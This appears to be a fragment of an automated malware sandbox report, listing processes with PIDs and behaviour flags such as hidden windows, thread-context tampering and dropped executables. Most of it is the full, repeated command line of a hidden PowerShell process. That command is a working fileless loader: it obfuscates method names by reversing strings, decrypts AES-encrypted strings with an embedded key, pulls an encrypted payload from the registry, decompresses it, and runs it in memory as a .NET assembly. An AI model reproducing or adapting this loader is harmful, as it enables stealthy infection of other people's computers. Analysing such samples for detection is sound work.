[Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:700
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4804
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1812
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = 